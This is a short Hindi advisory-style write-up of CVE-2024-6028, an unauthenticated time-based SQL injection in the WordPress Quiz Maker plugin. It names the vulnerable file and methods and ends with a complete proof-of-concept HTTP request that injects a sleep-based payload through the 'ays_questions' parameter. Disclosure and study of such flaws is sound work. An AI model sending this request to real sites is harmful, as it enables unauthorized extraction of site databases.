
CVE-2024-6028 Quiz Maker <= 6.5.8.3 - 'ays_questions' पैरामीटर के माध्यम से बिना प्रमाणीकरण के SQL इंजेक्शन
CVE-2024-6028 Quiz Maker <= 6.5.8.3 - 'ays_questions' पैरामीटर के माध्यम से अनधिकृत SQL इंजेक्शन
वर्डप्रेस के लिए Quiz Maker प्लगइन, 6.5.8.3 सहित इसके सभी संस्करणों तक, 'ays_questions' पैरामीटर के माध्यम से समय-आधारित SQL इंजेक्शन के प्रति संवेदनशील है। ऐसा उपयोगकर्ता द्वारा आपूर्ति किए गए पैरामीटर पर अपर्याप्त एस्केपिंग और मौजूदा SQL क्वेरी पर पर्याप्त तैयारी के अभाव के कारण होता है। यह अनधिकृत हमलावरों को पहले से मौजूद क्वेरीज़ में अतिरिक्त SQL क्वेरीज़ जोड़ने में सक्षम बनाता है, जिनका उपयोग डेटाबेस से संवेदनशील जानकारी निकालने के लिए किया जा सकता है।
फ़ाइल: wp-content/plugins/quiz-maker/public/class-quiz-maker-public.php
क्लास: Quiz_Maker_Public
कार्यप्रवाह: method ays_finish_quiz -> method get_questions_categories image image image
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
ays_quiz_id=1&ays_quiz_questions=1,2,3&quiz_id=1&ays_questions[ays-question-4)+or+sleep(if(1>0,5,0)]=&action=ays_finish_quiz
image